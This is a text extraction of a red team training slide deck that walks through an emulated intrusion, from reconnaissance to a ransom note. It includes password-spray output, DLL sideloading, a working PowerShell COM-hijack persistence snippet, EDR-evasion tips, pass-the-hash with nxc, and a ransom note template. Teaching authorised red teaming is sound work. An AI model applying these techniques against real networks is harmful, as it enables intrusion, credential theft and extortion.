Modern Covert Ops for Red Teams

whoami

- Red Team Malware and Exploit Development Lead
 - ♦ Previously: Incident Response, Application Security, Network & Cloud Pentesting
 - ♦ Specialty in offensive research and development
- ♦ Offensive Security Exploitation Expert (OSEE)
- ♦ Certified Red Team Lead (CRTL)
- Cloud Security Professional (PACSP)
- ♦ OSCP, OSWP, OSWE, OSEP, OSED, OSMR, CRTO

What are Red Teams?

- ♦ Focus on emulating relevant threats
 - ♦ Carbanak/FIN7 Intermediate technical capabilities
 - ♦ Scattered Spider Advanced social engineering
 - ♦ DarkVishnya Physical implants for initial access
 - ♦ Lazarus Group Advanced development capabilities
- ♦ Red Teams emulate full-scale attacks from relevant, real-world threat actors
 - ♦ Pentesters test technology stacks for vulnerabilities



Anatomy of an Operation

- Resource Development \otimes
 - ♦ Infrastructure
 - ♦ Malware
 - ♦ Playbooks
- Operating \otimes
 - ♦ Reconnaissance
 - ♦ Initial Access
 - ♦ Post-Exploitation
 - ♦ Action on Objectives



🔜 Malware Development 🛛

Tactics, Tools, and Procedures (TTPs) for use in Red Team Operations.

Subgroups and projects	Shared projects Inactive
🕲 🗸 Search (3 chara	cter minimum)
> 😵 🚺 0 Reconnaiss	ance
> 🖇 👖 1 Payload Del	ivery () Owner
> 8• 2 2 Initial Acces	ss Payloads 🕕 Owner
> 8• 3 3 Post Exploit	ation Payloads () Owner
> %• 4 Impact Male	ware () Owner

Resource Development

Resource Dev: Infrastructure

♦ Operational Infrastructure:

- ♦ Command and Control
- ♦ Payload Hosting
- ♦ Phishing and Vishing
- ♦ Attack Server
- ♦ Redirectors
 - ♦ Each with benign web content

MUST categorize and "warm-up" domains (phishing, C2, hosting) and emails (phishing)



Infrastructure as Code (IaC) configurations for covert Red Team Operations.

Subgroups and projects
Shared projects
Inactive


Image: Search (3 character minimum)

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
Image: Ima

Infrastructure Example



Resource Dev: Malware


- ♦ Build Evasive Execution Methods
 - Container(Dropper(Decoy + Loader(Protection(Implant))))
 - ♦ Loader + Protector gets implant past EDR
 - Dropper gives user something to click
 - * Container packs files together for delivery
 - Example:ZIP(Shortcut(PDF + Smokeloader(XOR(Cobalt Strike))))
- ♦ Customize Command and Control (C2) Implants
 - ♦ Modify network traffic patterns
- ♦ Build capabilities
 - ♦ Enumeration, credential theft, persistence, lateral movement



Infection Chain Example: Carbanak (FIN7)

Phish-to-Persist

- ♦ User extracts ZIP
- ♦ User double-clicks shortcut (LNK)
- LNK adds new scheduled task
 Schtask Executes @9 AM
- WMIC downloads and runs XSL
- XSL file decodes salary.csv into PowerShell commands
- ♦ PowerShell executes loader DLL
- ♦ Loader DLL runs implant



Resource Dev: Playbooks

- ♦ Initial access playbooks
 - ♦ Phishing Email Templates, Vishing Scripts
- Payload building playbooks
 - ♦ Instructions for compiling loaders, adding guardrails, etc.
- ♦ Post-Ex playbooks
 - Situational Awareness Checks
 - ♦ Installing Persistence
 - ♦ Lateral Movement
 - ♦ Credential Theft
 - ♦ Privilege Escalation Capabilities

3 Post Exploitation Payloads D 3 Subgroups and projects Shared projects Inactive 5 ~ Search (3 character minimum) 0 Host Recon ① Owner > 1 Network Recon ① Owner > % 2 Credential Theft ① Owner > % 3 Privilege Escalation ① Owner > 4 Lateral Movement ① Owner _**8**∙ 5 Network Persistence ① Owner > _**8**∙ 6 Exfiltration ① Owner _ 8•

C2 Implant Strategy

Stage 1 = Limited Functionality (less to detect)


Stage 2 = Full Functionality (more capabilities)

- ♦ Stage 1 Initial Access
 - ♦ Upload/Download/Execute/Proxy
- ♦ Stage 1 Persistence
 - ♦ Callback once per day or week
- ♦ Stage 2 Interactive
 - ♦ Advanced Functionality (Network attacks, credential theft, etc.)
- ♦ Implants MUST have "fallback" domains
 - ♦ In case blue team blocks first domain
- ♦ Implants SHOULD be proxy-aware
 - ♦ Many companies force internet traffic through web proxy
 - ♦ Use C2 domains categorized as health or finance to evade proxy



Internal Operating Strategy

- ♦ Situational awareness checks
 - * Ensure initial machine is a valid target
- ♦ Leave initially compromised machine ASAP
 - ♦ Internal network enumeration
 - Move laterally to another machine (use credentials from password sprays/phishes)
- ♦ Install persistence on new machine
 - Ideally install multiple methods, some short-term some long-term
- ♦ Execute stage 2 interactive payload
 - Perform further post-exploitation from here
 - * Most post-exploitation will be through SOCKS proxy (see diagram, taken from this Cobalt Strike blog)



*Disclaimer: This is an example ONLY, no actual attacks were performed

Starting the Operation


CISA.GOV: ALPHV RANSOMWARE GROUP TTPS

Reconnaissance: External Attack Surface

- Identify External Surface
 - ♦ View SSL Certificate on Website
 - ♦ Search the Organization in Shodan
- Analyze results
 - ♦ Find Internal Hostnames
 - Operating Systems in use
 - ♦ ASN Range
 - ♦ IPs to allow on phishing/C2 redirectors
 - ♦ Login ports exposed?
 - ♦ Vulnerable software?

Certific	ate Viewer: site	es .	com	
General	Details			
Organ	ion Name (CN) ization (O) izational Unit (OU)		.com rporation t Of Certifica	ite>
Facet Ana	alysis			
org:" Corporatio	n"	port		~ Q
// TOTAL: 714				
443 80 ► F	HTTP(S)		350 273	
161			29	
179			20	-
123			17	
264	ONS		12	
53 1 22 4 5			6 2	
8443			2	
18264			2	1
25 - 5	SMTP		1	I

Reconnaissance: Hostnames and OS version



220 te .com Microsoft ESMTP MAIL Service ready at
250-te .com Hello []
250-SIZE 37748736
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-STARTTLS
250-X-ANONYMOUSTLS
250-AUTH NTLM
250-X-EXPS GSSAPI NTLM
250-8BITMIME
250-BINARYMIME
250-CHUNKING
250 XRDST
SMTP NTLM Info:
OS: Windows 10 (version 1607)/Windows Server 2016 (version 1607)
OS Build: 10.0.14393
Target Name: HQ
NetBIOS Domain Name: HQ
NetBIOS Computer Name: TE
DNS Domain Name: hq. com
DNS Tree Name: corp. com
FQDN: tet .com

Reconnaissance: Internal Email Configuration

-\$ dig .com TXT

; global options: + ; Got answer: ; ->>HEADER<<- opco		our existing email or other services and you can safely nected to Microsoft 365.		
; flags: qr rd ad; ; ; WARNING: recursio	Example:			
; QUESTION SECTION: .com.		and the second second second	<mark>\\$</mark> #######	(unique ID from the admin center)
WER SECTION:				
com.	0	IN	TXT	<pre>"v=spf1 include:%{ir}.%{v}.%{d}.spf.has.pphosted.com</pre>
com.	0	IN	TXT	<pre>"openai-domain-verification=dv-0Q</pre>
com.	0	IN	TXT	"MS=ms89 "
com.	0	IN	TXT	"4eeSgjBnLCgQr0dxXp2dYMxDMdVnmkLDF+ypJFybhnjW3JjHc14P

(UDP)

;; SERVER:

WHEN: Tue Apr 15 11:22:30 CDT 2025

MSG SIZE rcvd: 299

Reconnaissance: Employee Logon Portal

a View Report 🕹 Download Results 📖 Historical Trend D View on Map Q Advanced Search

Access Granted: Want to get more out of your existing Shodan account? Check out everything you have

🖸 Initiating SAML single sign-on 🗹

asn:"AS'

gist-raw.git-en rubygems.git-e media.git-eng. pages.git-eng. codeload.git-e

Corporation

ing 🖄

SSL Certificate Issued By: I- Common Name:

title:"SAML"

DigiCert Global G2 TLS RSA SHA256 2020 CA1

|- Organization:

HTTP/1.1 200 OK Server: GitHub.com Date: Tue, 15 Apr 2025 16:47:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame

Reconnaissance Wrap-up


- ♦ Target uses Microsoft 365 email
 - ♦ ProofPoint email protection
- On-prem Active Directory network
 - ♦ Found internal domain names
- Windows endpoints
- ♦ SAML SSO Login URL
- ♦ Target IPs to add to allow list on redirectors

Next up: Initial Access

Initial Access: Credential Harvesting

- Password Spray
 - ♦ Identify Valid Emails (LinkedIn)
 - ♦ Spray SSO Portal OR SMTP Server
 - Ensure Geolocation matches up
- Credential Phishing
 - ♦ Proxy SSO Portal (Evilginx)
 - Change Indicators of Compromise (IOCs)
 - Modify Evilginx source code, obfuscate HTML source, change URIs (subdomain, path) from real SSO portal
 - ♦ "Compliance Update" Vishing call
 - ♦ Direct user to decoy document after login

python3 credmaster.py --config conf.json 1:10.059] Execution started at: 2023-01-23 17:31:10.059369 1:10.059] Creating 1 API Gateways for https://autodiscover-s.outlook.com 1:11.074] Created API - Region: us-east-2 ID: () - https:// 1:11.711] Testconnect: Connection success, continuing 1:11.711] Total Regions Available: 15 1:11.711] Total API Gateways: 1 1:11.711] Starting Spray... 1:11.861] Loading credentials from users.txt with password TestTest123 1:15.490] us-east-2: [-] FAILURE: thisisnotarealemail@example.com:TestTe 1:27.679] us-east-2: [+] SUCCESS: credmaster_rulez@test.com:TestTest123 1:28.324] us-east-2: [-] FAILURE: tester12345678@gmail.com:TestTest123 1:28.324] Completed spray with password TestTest123 at 2023-01-23 17:31: 1:28.796] Destroying API () in region us-east-2 1:29.576] End Time: 2023-01-23 17:31:29.576026 1:29.576] Total Execution: 19.516657 seconds 1:29.576] Valid credentials identified: 1



Initial Access: Malware Phishing

- Pretext: Security Concerns
- Pose as business partner that has received suspicious emails recently, resulting in a security incident
- Send email with ZIP file containing payload attached
 - ♦ Password protect ZIP for "Confidentiality"
 - ♦ Send password in email or with follow-up email

Choose a topic

Security Concerns


If you have security concerns

If you believe you may have received a suspicious contact (e.g., email, text, phone call, malicious website) that appears to be from for would like to report an information security related issue/event, please get in touch with us.


Contact us



Initial Access: Malware Installation



Initial Access: DLL Sideloading



Initial Access Wrap-up

- Sprayed passwords to find valid credentials
- ♦ Targeted users with credential phishing
- ♦ Sent malware phish as an email attachment
 - ♦ Executes Stage 1 Initial Access C2

Next up:

♦ Post-exploitation

Post-Exploitation: Situational Awareness

۲	Initial callback from malware phish	<pre>[12/26 16:30:50] [+] Running ldapsearch (T1018, T1069.002, T1087.002, T1087.003, T1087.0 [12/26 16:30:50] [*] Running ldapsearch (T1018, T1069.002, T1087.002, T1087.003, T1087.0 [12/26 16:30:52] [+] host called home, sent: 10546 bytes</pre>
		<pre>[12/26 16:30:52] [+] received output: Binding to 192.168.0.235 [12/26 16:30:52] [+] received output: [*] Distinguished name: CN=Partitions,CN=Configuration,DC=redania,DC=local</pre>
	♦ Validate we are not executing in a sandbox	<pre>[*] targeting DC: \\TRETOGOR.redania.local [*] Filter: (netbiosname=*) [*] Returning specific attribute(s): *</pre>
	Have compromised other user credentials with	
	password spraying and credential phishing	objectClass: top, crossRef cn: REDANIA distinguishedName: CN=REDANIA,CN=Partitions,CN=Configuration,DC=redania,DC=local
۲	Query Active Directory with LDAPsearch	instanceType: 4 whenCreated: 20230214042103.0Z whenChanged: 20230214042300.0Z
	View other compromised users' AD info	nCName: DC=redania,DC=local uSNCreated: 4118 uSNChanged: 12565
	 Identify the hostnames of their workstations 	showInAdvancedViewOnly: TRUE name: REDANIA objectGUID: f66cd454-5cf0-41c2-83c4-743ce81fb33e dnsRoot: redania.local
		nETBIOSName: REDANIA nTMixedDomain: 0
		systemFlags: 3
		objectCategory: CN=Cross-Ref,CN=Schema,CN=Configuration,DC=redania,DC=local
		dSCorePropagationData: 16010101000000.0Z msDS-Behavior-Version: 7
		retreived 1 results total

[12/26 16:30:50] beacon> ldapsearch (netbiosname=*) * 0 "" "CN=Partitions,CN=Configurati

Post-Exploitation: Leaving the Initial Box

Ready

- Initialize SOCKS proxy on implant
- ♦ Execute commands from Proxy VM
 - Proxy VM should mirror target environment, will look better in logs
 - Match OS version, hostname, domain name, and username to legitimate internal resources
- Proxifier for Windows, Proxychains for Linux
- Execute mstsc (RDP client) through proxy
 - Login to new workstation as other compromised user

p b	Proxifier					- 0	×
Eile	Profile Log View Help 📃	🗐 🎾 🗟 🕞 🕶 📓					
Conn							Ψ×
× •	Application Chrome.exe Chrom	Target www.google.com:443 www.google.com:443 server.example.net:443 static-spartan-neu-s-msn-com.akamaize static-spartan-neu-s-msn-com.akamaize storeedgefd.dsx.mp.microsoft.com:443		Rule : Proxy Chrome : proxy.example.net:10580 SOCKS5 Chrome : proxy.example.net:10580 SOCKS5 Office : direct via OfficeVPN Default : proxy.example.net:10580 SOCKS5 Default : proxy.example.net:10580 SOCKS5 Default : proxy.example.net:10580 SOCKS5	Sent 3.82 KB 0 418 481 1.10 KB 17.7 KB	Received 71.6 KB 0 4.91 KB 2.88 KB 6.84 KB 85.4 KB	
_≞ Co	Connections 🔺 Traffic 🛛 🕒 Statis	stics					
[07.10 [07.10 [07.10 [07.10 [07.10 [07.10 [07.10 [07.10 [07.10 [07.10	Or.10 18:58:10 outlook exe - blob weather.microsoft.com:80 close, 3628 bytes (3.54 KB) sent, 16668 bytes (16.2 KB) received, lifetime <1 sec						

Down 0 B/sec

6 active connections

Up 0 B/sec

System DNS

[07.1018:59:44] chrome.exe - <u>www.google.com.443</u> close, 0 bytes sent, 0 bytes received, lifetime <1 sec [07.1018:59:44] chrome.exe - ssl.gstatic.com.443 close, 1014 bytes sent, 162279 bytes (158 KB) received, lifetime <1 sec [07.1018:59:44] chrome.exe - fonts.gstatic.com.443 close, 1050 bytes (1.02 KB) sent, 19307 bytes (1.88 KB) received, lifetime <1 sec

Post-Exploitation: Sideloading FileSyncConfig

- Not found on HijackLibs = May not be alerted on
- FileSyncConfig.exe is a legitimate signed Microsoft binary
- Executing shows an error:
 "FileSyncHost.DLL was not found"
- Name malware DLL after FileSyncHost.dll
 - ♦ Malware = Stage 1 Persistence
- Upload folder to target machine through implant

HijackLibs

filesync

No results. Missing an entry? Open a pull request!

FileSyncClient.dll	4/14/2025 6:04 PM	Application extens	11,283 KB
FileSyncConfig.exe	4/14/2025 6:04 PM	Application	794 KB
FileSyncEvents.dll	4/14/2025 6:04 PM	Application extens	140 KB
FileSyncFS.dll	4/14/2025 6:04 PM	Application extens	954 KB
LoggingPlatform.dll	4/14/2025 6:04 PM	Application extens	649 KB
🖻 Telemetry.dll	4/14/2025 6:04 PM	Application extens	1,004 KB
UpdateRingSettings.dll	4/14/2025 6:04 PM	Application extens	645 KB

FileSyncConfig.exe - System Error



The code execution cannot proceed because FileSyncHost.DLL was not found. Reinstalling the program may fix this problem. \times

Post-Exploitation: Schtask Add Action

♦ Add an action to existing task

- ♦ OneDrive Reporting Task already runs daily
- ♦ Lower likelihood to alert
- ♦ Harder for blue team to remove
- ♦ In this case: add an action that executes uploaded FileSyncConfig
- ♦ Run task and exit RDP session

Task Scheduler			
File Action Vie	ew Help		
🗇 🏟 🔁 📰	? 🗊		
Task Schedule Task Schedule	Name	Status	Triggers
	🕒 NvProfileUpdaterOnLo	ogon_{B2 Ready	At log on of any user
	🕒 OneDrive Per-Machine	e Standal Ready	At 4:00 PM on 5/1/1992 - After triggered, repeat every 1.00:00:00
	🕒 OneDrive Reporting Ta	ask-S-1 Ready	At 5:14 PM on 3/23/2025 - After triggered, repeat every 1.00:00:00
	<		>
	General Triggers Actio	ns Conditions Settings	History (disabled)
	-	k, you must specify the actio property pages using the Pro	n that will occur when your task starts. To change these operties command.
	Action	Details	
	Start a program	C:\Program Files\Microsoft (DneDrive\OneDriveStandaloneUpdater.exe /repor

Post-Exploitation: COM Hijacking

- The real reason we chose FileSyncConfig.exe
 - ♦ No alerts when we install COM hijacking
- Microsoft noisy apps = special exceptions to avoid overwhelming amount of false positives
- Execute PowerShell (shown below) through implant to install COM hijack for Chrome.exe

Executes each time Google Chrome runs

Blame 188 lines (161 loc) · 7.89 KB
"Oracle America, Inc.")
) and
/* excludes Microsoft signed noisy processes */
not
(
process.name : ("OneDrive.exe", "OneDriveSetup.exe", " <mark>FileSyncConfig.exe</mark> ", "Teams.ex
<pre>process.code_signature.trusted == true and process.code_signature.subject_name in ("</pre>
) and
not process.executable :
("?:\\Program Files (x86)*.exe",
")·//Drompam Filec//* eve"

detection-rules / rules / windows / persistence_suspicious_com_hijack_registry.toml

Find target CLSID to hijack (following example uses CLSID to hijack Google Chrome)
\$CLSID = "A4b544A1-438D-4B41-9325-869523E2D6C7"

Add InprocServer32 registry entry with persistence DLL as its value, then create an entry for ThreadingModel New-Item -Path "HKCU:\Software\Classes\CLSID\{\$CLSID}\" New-Item -Path "HKCU:\Software\Classes\CLSID\{\$CLSID}\InprocServer32" -Value "%LOCALAPPDATA%\Google\Chrome\User Data\gmetrics.dll" New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{\$CLSID}\InprocServer32" -Name ThreadingModel -PropertyType String -Value Apartment -Force

Post-Exploitation: Enumerate Resources

- ♦ All post-exploitation from this point onward is from interactive beacon
 - ♦ Stage 2 Interactive beacon loaded from schtask persistence beacon
- ♦ Start proxy on interactive beacon
 - ♦ Next steps are from your proxy VM's web browser
- ♦ Look through compromised users' resources
 - ♦ Microsoft Teams chats/files
 - \diamond Emails
 - ♦ OneDrive
 - ♦ OneNote

We figure out the target uses Bitbucket for internal code repositories

Post-Exploitation: Internal Code Repo


>>

- Login with different compromised users
 - ♦ Use whoever has most access
- ♦ Search for exposed credentials
 - ♦ "export HTTP_PROXY"
- ♦ Look at previous versions of files
 - ♦ Earlier commit may have exposed data
- We find Linux service account credentials

🐨 Bi	tbucket Projects Repositories ~	Search	h for code, commits or re	positories Q
ए २ ६ ६ 🚷	Teams in Space / Apollo UI Builds Branch b master Build	Status	Updated	Logs
0	Master Release Build LATEST Matthieu Di Berardino 🕴 61d28114dd4 TIS-3254 - Fixed unit tests	(1) In progress	3 mins ago	
\diamond	Master Branch Build Matthieu Di Berardino 🕴 899a2acd83 TIS-3254 - Fixed unit tests	1 failed 211 passed, 2 skipped	13 mins ago ③ 2 hr 26 min 46 sec	Logs
¢ Le	Pull Request Build Kevin Campbell 🕴 dea83b0022a TIS-20009: Add support for applying alternati	212 passed 2 skipped	3 hours ago ③ 2 hr 26 min 56 sec	Logs
ľ٦.	Pull Request Build Jennifer Evans § 29ea5466dfd Add check for null participant status and retur	212 passed 2 skipped	Yesterday ③ 2 hr 23 min 36 sec	Logs
ф Ф	Pull Request Build Alana Grant § b8b83e5f7a7 TIS-20389: Replace AJS.escapeHtml with Iodash	7 failed 205 passed, 2 skipped	Solution (Security Security Se	Logs
0				

Post-Exploitation: Linux Privesc


- ♦ Old version of BitBucket repository contained:
 - ♦ Service account credentials
 - ♦ Linux hostnames the service account logs into
- ♦ Use ssh.exe on Proxy VM to authenticate to Linux host
- Senumerate files on Linux host
 - ♦ Find \$HOME/.git/config
 - Reveals password for privileged
 'fsadmin' Linux user account
- - ♦ Enter credentials when prompted
 - ♦ Run 'sudo su' as fsadmin to become root



Post-Exploitation: Keytab Theft

- Since we have root access: Look in /etc/krb5/ directory
 - ♦ Find keytab of privileged security service account
- ♦ Keytabs contain NTLM password hashes
 - ♦ Can crack NTLMs or authenticate with them directly (Pass-the-Hash)
- ♦ Download keytab and extract its NTLM hash

NTLM hash is for 'corpvascan' account



Post-Exploitation Wrap-up

- Moved laterally off initially compromised machine
- ♦ Installed persistence (x2) on new machine
- ✤ Found credentials in history of BitBucket repository
- ♦ Moved laterally into Linux machine
 - ♦ Escalated privileges to root user
 - ♦ Compromised NTLM hash for highly privileged user

Next up: Action on Objectives

Actions on Objectives

- 'corpvascan' has full administrative access to production, development, and QA environment webservers and databases
 - ♦ No reason to further escalate privilege
- ♦ Execute Netexec on proxy VM to drop ransom note on targets
 - ♦ Authenticating through WinRM with NTLM hash
 - ♦ Netexec automates executing the same command across hundreds of machines

Testing credentials

nxc winrm 192.168.1.0/24 -u user -p password

Expected Results:

WINRM	192.168.255.131	5985	ROGER
WINRM	192.168.255.131	5985	ROGER

[*] http://192.168.255.131:5985/wsman
[+] GOLD\user:password (Pwn3d!)

Action on Objectives: Ransom Note

"In order to recover your files you need to follow instructions below"

Sensitive Data

Sensitive data on your network was DOWNLOADED. If you DON'T WANT your sensitive data to be PUBLISHED you have to act quickly.

Data includes:

- Complete network map including credentials for local and remote services.

Private financial information including: clients data, bills, budgets, annual reports, bank statements.
 And more...

Samples are available on your User Panel.

CAUTION DO NOT MODIFY ENCRYPTED FILES YOURSELF. DO NOT USE THIRD PARTY SOFTWARE TO RESTORE YOUR DATA. YOU MAY DAMAGE YOUR FILES, IT WILL RESULT IN PERMANENT DATA LOSS.

What should I do next?
1) Download and install Tor Browser from: https://torproject.org/
2) Navigate to User Panel: (Includes victim specific onion and access key for communication)

Action on Objectives Wrap-up

- Compromised webservers and databases
- Dropped ransom note in admin directories

Next up:

- ♦ Action on more objectives if applicable
 - ♦ Maintain access?
 - ♦ Exfiltrate data?
- And finally:
- ♦ Write the report
 - ♦ Findings include Unsigned DLL Execution, Plaintext Credentials in Config Files, Plaintext Credentials in Code Repository

